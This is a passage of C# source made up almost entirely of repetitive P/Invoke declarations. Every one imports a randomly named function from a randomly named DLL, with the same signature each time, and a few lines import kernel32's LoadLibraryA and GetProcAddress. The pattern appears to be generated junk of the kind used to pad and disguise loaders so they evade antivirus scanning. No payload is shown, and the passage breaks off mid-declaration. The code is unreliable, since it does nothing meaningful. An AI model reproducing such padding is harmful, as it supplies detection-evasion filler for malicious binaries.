  [DllImport("cOMGZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] btZvO([MarshalAs(UnmanagedType.VBByRefStr)] ref string Usdns, string[] pBQRo, char pAUDh);

  [DllImport("Bgccb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] velDL([MarshalAs(UnmanagedType.VBByRefStr)] ref string fPIPt, string[] UGVce, char TtVCn);

  [DllImport("mvffR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hUqhV([MarshalAs(UnmanagedType.VBByRefStr)] ref string EfCOd, string[] IcNQr, char fdVpn);

  [DllImport("QTiEF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IfDIF([MarshalAs(UnmanagedType.VBByRefStr)] ref string PZSzN, string[] gBSND, char irrqu);

  [DllImport("Vortm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gbgLZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string LbRDl, string[] nGloC, char MhuiT);

  [DllImport("QUeSA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] plOPv([MarshalAs(UnmanagedType.VBByRefStr)] ref string HHGMi, string[] qvcpo, char EHLCc);

  [DllImport("VBERP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qiRBD([MarshalAs(UnmanagedType.VBByRefStr)] ref string zMmmM, string[] ThIeH, char gzZzI);

  [DllImport("UdZlB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DUFdM([MarshalAs(UnmanagedType.VBByRefStr)] ref string PVZiF, string[] BfgNS, char ntlPL);

  [DllImport("NeFET.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MIOAG([MarshalAs(UnmanagedType.VBByRefStr)] ref string LNEeG, string[] miQFb, char QGTgO);

  [DllImport("zbtZv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OCCdm([MarshalAs(UnmanagedType.VBByRefStr)] ref string OcOMG, string[] ZUsdn, char spBQR);

  [DllImport("hvelD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] opAUD([MarshalAs(UnmanagedType.VBByRefStr)] ref string LBgcc, string[] bfPIP, char tUGVc);

  [DllImport("nhUqh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eTtVC([MarshalAs(UnmanagedType.VBByRefStr)] ref string Vmvff, string[] REfCO, char dIcNQ);

  [DllImport("nIfDI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rfdVp([MarshalAs(UnmanagedType.VBByRefStr)] ref string FQTiE, string[] FPZSz, char NgBSN);

  [DllImport("ugbgL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Dirrq([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZVort, string[] mLbRD, char lnGlo);

  [DllImport("TuRQs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CMhui([MarshalAs(UnmanagedType.VBByRefStr)] ref string brehH, string[] hsoFD, char buSMH);

  [DllImport("RplOP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SlATH([MarshalAs(UnmanagedType.VBByRefStr)] ref string vQUeS, string[] AHHGM, char iqvcp);

  [DllImport("cqiRB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oEHLC([MarshalAs(UnmanagedType.VBByRefStr)] ref string DVBER, string[] PzMmm, char MThIe);

  [DllImport("IDUFd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HgzZz([MarshalAs(UnmanagedType.VBByRefStr)] ref string MUdZl, string[] BPVZi, char FBfgN);

  [DllImport("LMIOA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SntlP([MarshalAs(UnmanagedType.VBByRefStr)] ref string GNeFE, string[] TLNEe, char GmiQF);

  [DllImport("OOCCd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bQGTg([MarshalAs(UnmanagedType.VBByRefStr)] ref string mzbtZ, string[] vOcOM, char GZUsd);

  [DllImport("RopAU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nspBQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string Dhvel, string[] DLBgc, char cbfPI);

  [DllImport("ceTtV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PtUGV([MarshalAs(UnmanagedType.VBByRefStr)] ref string CnhUq, string[] hVmvf, char fREfC);

  [DllImport("QrfdV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OdIcN([MarshalAs(UnmanagedType.VBByRefStr)] ref string pnIfD, string[] IFQTi, char EFPZS);

  [DllImport("NDirr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zNgBS([MarshalAs(UnmanagedType.VBByRefStr)] ref string qugbg, string[] LZVor, char tmLbR);

  [DllImport("oCMhu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DlnGl([MarshalAs(UnmanagedType.VBByRefStr)] ref string iTuRQ, string[] sbreh, char HhsoF);

  [DllImport("HSlAT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DbuSM([MarshalAs(UnmanagedType.VBByRefStr)] ref string HRplO, string[] PvQUe, char SAHHG);

  [DllImport("poEHL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Miqvc([MarshalAs(UnmanagedType.VBByRefStr)] ref string CcqiR, string[] BDVBE, char RPzMm);

  [DllImport("eHgzZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mMThI([MarshalAs(UnmanagedType.VBByRefStr)] ref string zIDUF, string[] dMUdZ, char lBPVZ);

  [DllImport("NSntl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iFBfg([MarshalAs(UnmanagedType.VBByRefStr)] ref string PLMIO, string[] AGNeF, char ETLNE);

  [DllImport("FbQGT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eGmiQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string gOOCC, string[] dmzbt, char ZvOcO);

  [DllImport("dnspB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MGZUs([MarshalAs(UnmanagedType.VBByRefStr)] ref string QRopA, string[] UDhve, char lDLBg);

  [DllImport("IPtUG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ccbfP([MarshalAs(UnmanagedType.VBByRefStr)] ref string VceTt, string[] VCnhU, char qhVmv);

  [DllImport("COdIc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ffREf([MarshalAs(UnmanagedType.VBByRefStr)] ref string NQrfd, string[] VpnIf, char DIFQT);

  [DllImport("SzNgB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iEFPZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string SNDir, string[] rqugb, char gLZVo);

  [DllImport("RDlnG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rtmLb([MarshalAs(UnmanagedType.VBByRefStr)] ref string loCMh, string[] uiTuR, char Qsbre);

  [DllImport("FDbuS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hHhso([MarshalAs(UnmanagedType.VBByRefStr)] ref string MHSlA, string[] THRpl, char OPvQU);

  [DllImport("GMiqv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eSAHH([MarshalAs(UnmanagedType.VBByRefStr)] ref string cpoEH, string[] LCcqi, char RBDVB);

  [DllImport("mmMTh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ERPzM([MarshalAs(UnmanagedType.VBByRefStr)] ref string IeHgz, string[] ZzIDU, char FdMUd);

  [DllImport("ZiFBf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZlBPV([MarshalAs(UnmanagedType.VBByRefStr)] ref string gNSnt, string[] lPLMI, char OAGNe);

  [DllImport("EeGmi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FETLN([MarshalAs(UnmanagedType.VBByRefStr)] ref string QFbQG, string[] TgOOC, char Cdmzb);

  [DllImport("OMGZU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tZvOc([MarshalAs(UnmanagedType.VBByRefStr)] ref string sdnsp, string[] BQRop, char AUDhv);

  [DllImport("gccbf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] elDLB([MarshalAs(UnmanagedType.VBByRefStr)] ref string PIPtU, string[] GVceT, char tVCnh);

  [DllImport("vffRE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UqhVm([MarshalAs(UnmanagedType.VBByRefStr)] ref string fCOdI, string[] cNQrf, char dVpnI);

  [DllImport("TiEFP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fDIFQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZSzNg, string[] BSNDi, char rrqug);

  [DllImport("ortmL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bgLZV([MarshalAs(UnmanagedType.VBByRefStr)] ref string bRDln, string[] GloCM, char huiTu);

  [DllImport("ehHhs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RQsbr([MarshalAs(UnmanagedType.VBByRefStr)] ref string oFDbu, string[] SMHSl, char ATHRp);

  [DllImport("UeSAH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lOPvQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string HGMiq, string[] vcpoE, char HLCcq);

  [DllImport("BERPz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iRBDV([MarshalAs(UnmanagedType.VBByRefStr)] ref string MmmMT, string[] hIeHg, char zZzID);

  [DllImport("dZlBP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UFdMU([MarshalAs(UnmanagedType.VBByRefStr)] ref string VZiFB, string[] fgNSs, char BqUQR);

  [DllImport("mMLcQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PTFNS([MarshalAs(UnmanagedType.VBByRefStr)] ref string SLlNr, string[] qVMgV, char OdnTT);

  [DllImport("gBfDT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HHirE([MarshalAs(UnmanagedType.VBByRefStr)] ref string hUSNf, string[] dAisA, char uGZZt);

  [DllImport("DlqIQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uFdIo([MarshalAs(UnmanagedType.VBByRefStr)] ref string Gnhig, string[] mUPVB, char dNehl);

  [DllImport("odvof.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cBeHs([MarshalAs(UnmanagedType.VBByRefStr)] ref string rDmmZ, string[] LmHTi, char QhSVz);

  [DllImport("PmIPM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mieus([MarshalAs(UnmanagedType.VBByRefStr)] ref string VcpLM, string[] UgbES, char nGbSI);

  [DllImport("ngoQf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pzAvC([MarshalAs(UnmanagedType.VBByRefStr)] ref string etzBr, string[] QgZIq, char sNquH);

  [DllImport("CZVAh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SoCpc([MarshalAs(UnmanagedType.VBByRefStr)] ref string zloOp, string[] AtMIg, char CbROb);

  [DllImport("vqTUD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rFcOZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string VdlbF, string[] OPNRp, char vEhut);

  [DllImport("vpbGI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LOQHh([MarshalAs(UnmanagedType.VBByRefStr)] ref string eGLZU, string[] ERrrR, char coPlO);

  [DllImport("LdMiR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nEfFP([MarshalAs(UnmanagedType.VBByRefStr)] ref string difqH, string[] UefpN, char GmnSb);

  [DllImport("RPTFN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sBqUQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string SmMLc, string[] QSLlN, char rqVMg);

  [DllImport("THHir.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VOdnT([MarshalAs(UnmanagedType.VBByRefStr)] ref string EgBfD, string[] ThUSN, char fdAis);

  [DllImport("tuFdI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AuGZZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string oDlqI, string[] QGnhi, char gmUPV);

  [DllImport("lcBeH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BdNeh([MarshalAs(UnmanagedType.VBByRefStr)] ref string sodvo, string[] frDmm, char ZLmHT);

  [DllImport("zmieu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iQhSV([MarshalAs(UnmanagedType.VBByRefStr)] ref string sPmIP, string[] MVcpL, char MUgbE);

  [DllImport("IpzAv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SnGbS([MarshalAs(UnmanagedType.VBByRefStr)] ref string CngoQ, string[] fetzB, char rQgZI);

  [DllImport("HSoCp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qsNqu([MarshalAs(UnmanagedType.VBByRefStr)] ref string cCZVA, string[] hzloO, char pAtMI);

  [DllImport("brFcO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gCbRO([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZvqTU, string[] DVdlb, char FOPNR);

  [DllImport("tLOQH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pvEhu([MarshalAs(UnmanagedType.VBByRefStr)] ref string hvpbG, string[] IeGLZ, char UERrr);

  [DllImport("OnEfF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RcoPl([MarshalAs(UnmanagedType.VBByRefStr)] ref string PLdMi, string[] Rdifq, char HUefp);

  [DllImport("bsBqU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NGmnS([MarshalAs(UnmanagedType.VBByRefStr)] ref string QRPTF, string[] NSmML, char cQSLl);

  [DllImport("gVOdn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NrqVM([MarshalAs(UnmanagedType.VBByRefStr)] ref string TTHHi, string[] rEgBf, char DThUS);

  [DllImport("sAuGZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NfdAi([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZtuFd, string[] IoDlq, char IQGnh);

  [DllImport("VBdNe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] igmUP([MarshalAs(UnmanagedType.VBByRefStr)] ref string hlcBe, string[] Hsodv, char ofrDm);

  [DllImport("TiQhS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mZLmH([MarshalAs(UnmanagedType.VBByRefStr)] ref string Vzmie, string[] usPmI, char PMVcp);

  [DllImport("ESnGb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LMUgb([MarshalAs(UnmanagedType.VBByRefStr)] ref string SIpzA, string[] vCngo, char Qfetz);

  [DllImport("IqsNq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BrQgZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string uHSoC, string[] pcCZV, char Ahzlo);

  [DllImport("IgCbR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OpAtM([MarshalAs(UnmanagedType.VBByRefStr)] ref string ObrFc, string[] OZvqT, char UDVdl);

  [DllImport("RpvEh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bFOPN([MarshalAs(UnmanagedType.VBByRefStr)] ref string utLOQ, string[] Hhvpb, char GIeGL);

  [DllImport("rRcoP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZUERr([MarshalAs(UnmanagedType.VBByRefStr)] ref string lOnEf, string[] FPLdM, char iRdif);

  [DllImport("pNGmn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qHUef([MarshalAs(UnmanagedType.VBByRefStr)] ref string SbsBq, string[] UQRPT, char FNSmM);

  [DllImport("lNrqV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LcQSL([MarshalAs(UnmanagedType.VBByRefStr)] ref string MgVOd, string[] nTTHH, char irEgB);

  [DllImport("SNfdA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fDThU([MarshalAs(UnmanagedType.VBByRefStr)] ref string isAuG, string[] ZZtuF, char dIoDl);

  [DllImport("higmU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qIQGn([MarshalAs(UnmanagedType.VBByRefStr)] ref string PVBdN, string[] ehlcB, char eHsod);

  [DllImport("mmZLm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vofrD([MarshalAs(UnmanagedType.VBByRefStr)] ref string HTiQh, string[] SVzmi, char eusPm);

  [DllImport("pLMUg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IPMVc([MarshalAs(UnmanagedType.VBByRefStr)] ref string bESnG, string[] bSIpz, char AvCng);

  [DllImport("zBrQg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oQfet([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZIqsN, string[] quHSo, char CpcCZ);

  [DllImport("oOpAt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VAhzl([MarshalAs(UnmanagedType.VBByRefStr)] ref string MIgCb, string[] RObrF, char cOZvq);

  [DllImport("lbFOP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TUDVd([MarshalAs(UnmanagedType.VBByRefStr)] ref string NRpvE, string[] hutLO, char QHhvp);

  [DllImport("LZUER.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bGIeG([MarshalAs(UnmanagedType.VBByRefStr)] ref string rrRco, string[] PlOnE, char fFPLd);

  [DllImport("fqHUe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MiRdi([MarshalAs(UnmanagedType.VBByRefStr)] ref string fpNGm, string[] nSbsB, char qUQRP);

  [DllImport("MLcQS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TFNSm([MarshalAs(UnmanagedType.VBByRefStr)] ref string LlNrq, string[] VMgVO, char dnTTH);

  [DllImport("BfDTh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HirEg([MarshalAs(UnmanagedType.VBByRefStr)] ref string USNfd, string[] AisAu, char GZZtu);

  [DllImport("lqIQG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FdIoD([MarshalAs(UnmanagedType.VBByRefStr)] ref string nhigm, string[] UPVBd, char Nehlc);

  [DllImport("dvofr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BeHso([MarshalAs(UnmanagedType.VBByRefStr)] ref string DmmZL, string[] mHTiQ, char hSVzm);

  [DllImport("mIPMV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ieusP([MarshalAs(UnmanagedType.VBByRefStr)] ref string cpLMU, string[] gbESn, char GbSIp);

  [DllImport("goQfe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zAvCn([MarshalAs(UnmanagedType.VBByRefStr)] ref string tzBrQ, string[] gZIqs, char NquHS);

  [DllImport("ZVAhz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oCpcC([MarshalAs(UnmanagedType.VBByRefStr)] ref string loOpA, string[] tMIgC, char bRObr);

  [DllImport("qTUDV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FcOZv([MarshalAs(UnmanagedType.VBByRefStr)] ref string dlbFO, string[] PNRpv, char EhutL);

  [DllImport("pbGIe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OQHhv([MarshalAs(UnmanagedType.VBByRefStr)] ref string GLZUE, string[] RrrRc, char oPlOn);

  [DllImport("dMiRd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EfFPL([MarshalAs(UnmanagedType.VBByRefStr)] ref string ifqHU, string[] efpNG, char mnSbs);

  [DllImport("PTFNS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BqUQR([MarshalAs(UnmanagedType.VBByRefStr)] ref string mMLcQ, string[] SLlNr, char qVMgV);

  [DllImport("HHirE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OdnTT([MarshalAs(UnmanagedType.VBByRefStr)] ref string gBfDT, string[] hUSNf, char dAisA);

  [DllImport("uFdIo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uGZZt([MarshalAs(UnmanagedType.VBByRefStr)] ref string DlqIQ, string[] Gnhig, char mUPVB);

  [DllImport("cBeHs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dNehl([MarshalAs(UnmanagedType.VBByRefStr)] ref string odvof, string[] rDmmZ, char LmHTi);

  [DllImport("mieus.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QhSVz([MarshalAs(UnmanagedType.VBByRefStr)] ref string PmIPM, string[] VcpLM, char UgbES);

  [DllImport("pzAvC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nGbSI([MarshalAs(UnmanagedType.VBByRefStr)] ref string ngoQf, string[] etzBr, char QgZIq);

  [DllImport("SoCpc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] sNquH([MarshalAs(UnmanagedType.VBByRefStr)] ref string CZVAh, string[] zloOp, char AtMIg);

  [DllImport("rFcOZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CbROb([MarshalAs(UnmanagedType.VBByRefStr)] ref string vqTUD, string[] VdlbF, char OPNRp);

  [DllImport("LOQHh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vEhut([MarshalAs(UnmanagedType.VBByRefStr)] ref string vpbGI, string[] eGLZU, char ERrrR);

  [DllImport("nEfFP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] coPlO([MarshalAs(UnmanagedType.VBByRefStr)] ref string LdMiR, string[] difqH, char UefpN);

  [DllImport("sBqUQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GmnSb([MarshalAs(UnmanagedType.VBByRefStr)] ref string RPTFN, string[] SmMLc, char QSLlN);

  [DllImport("VOdnT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rqVMg([MarshalAs(UnmanagedType.VBByRefStr)] ref string THHir, string[] EgBfD, char ThUSN);

  [DllImport("AuGZZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fdAis([MarshalAs(UnmanagedType.VBByRefStr)] ref string tuFdI, string[] oDlqI, char QGnhi);

  [DllImport("BdNeh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gmUPV([MarshalAs(UnmanagedType.VBByRefStr)] ref string lcBeH, string[] sodvo, char frDmm);

  [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
  public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name);

  [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
  public static extern IntPtr GetProcAddress(IntPtr handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name);

  [DllImport("SnGbS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MUgbE([MarshalAs(UnmanagedType.VBByRefStr)] ref string IpzAv, string[] CngoQ, char fetzB);

  [DllImport("qsNqu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rQgZI([MarshalAs(UnmanagedType.VBByRefStr)] ref string HSoCp, string[] cCZVA, char hzloO);

  [DllImport("gCbRO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pAtMI([MarshalAs(UnmanagedType.VBByRefStr)] ref string brFcO, string[] ZvqTU, char DVdlb);

  [DllImport("pvEhu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FOPNR([MarshalAs(UnmanagedType.VBByRefStr)] ref string tLOQH, string[] hvpbG, char IeGLZ);

  [DllImport("RcoPl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UERrr([MarshalAs(UnmanagedType.VBByRefStr)] ref string OnEfF, string[] PLdMi, char Rdifq);

  [DllImport("NGmnS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HUefp([MarshalAs(UnmanagedType.VBByRefStr)] ref string bsBqU, string[] QRPTF, char NSmML);

  [DllImport("NrqVM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cQSLl([MarshalAs(UnmanagedType.VBByRefStr)] ref string gVOdn, string[] TTHHi, char rEgBf);

  [DllImport("NfdAi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DThUS([MarshalAs(UnmanagedType.VBByRefStr)] ref string sAuGZ, string[] ZtuFd, char IoDlq);

  [DllImport("igmUP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IQGnh([MarshalAs(UnmanagedType.VBByRefStr)] ref string VBdNe, string[] hlcBe, char Hsodv);

  [DllImport("mZLmH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ofrDm([MarshalAs(UnmanagedType.VBByRefStr)] ref string TiQhS, string[] Vzmie, char usPmI);

  [DllImport("LMUgb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PMVcp([MarshalAs(UnmanagedType.VBByRefStr)] ref string ESnGb, string[] SIpzA, char vCngo);

  [DllImport("BrQgZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Qfetz([MarshalAs(UnmanagedType.VBByRefStr)] ref string IqsNq, string[] uHSoC, char pcCZV);

  [DllImport("OpAtM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Ahzlo([MarshalAs(UnmanagedType.VBByRefStr)] ref string IgCbR, string[] ObrFc, char OZvqT);

  [DllImport("bFOPN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UDVdl([MarshalAs(UnmanagedType.VBByRefStr)] ref string RpvEh, string[] utLOQ, char Hhvpb);

  [DllImport("ZUERr.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GIeGL([MarshalAs(UnmanagedType.VBByRefStr)] ref string rRcoP, string[] lOnEf, char FPLdM);

  [DllImport("qHUef.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iRdif([MarshalAs(UnmanagedType.VBByRefStr)] ref string pNGmn, string[] SbsBq, char UQRPT);

  [DllImport("LcQSL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FNSmM([MarshalAs(UnmanagedType.VBByRefStr)] ref string lNrqV, string[] MgVOd, char nTTHH);

  [DllImport("fDThU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] irEgB([MarshalAs(UnmanagedType.VBByRefStr)] ref string SNfdA, string[] isAuG, char ZZtuF);

  [DllImport("qIQGn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dIoDl([MarshalAs(UnmanagedType.VBByRefStr)] ref string higmU, string[] PVBdN, char ehlcB);

  [DllImport("vofrD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eHsod([MarshalAs(UnmanagedType.VBByRefStr)] ref string mmZLm, string[] HTiQh, char SVzmi);

  [DllImport("IPMVc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eusPm([MarshalAs(UnmanagedType.VBByRefStr)] ref string pLMUg, string[] bESnG, char bSIpz);

  [DllImport("oQfet.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AvCng([MarshalAs(UnmanagedType.VBByRefStr)] ref string zBrQg, string[] ZIqsN, char quHSo);

  [DllImport("VAhzl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CpcCZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string oOpAt, string[] MIgCb, char RObrF);

  [DllImport("TUDVd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cOZvq([MarshalAs(UnmanagedType.VBByRefStr)] ref string lbFOP, string[] NRpvE, char hutLO);

  [DllImport("bGIeG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QHhvp([MarshalAs(UnmanagedType.VBByRefStr)] ref string LZUER, string[] rrRco, char PlOnE);

  [DllImport("MiRdi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fFPLd([MarshalAs(UnmanagedType.VBByRefStr)] ref string fqHUe, string[] fpNGm, char nSbsB);

  [DllImport("TFNSm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
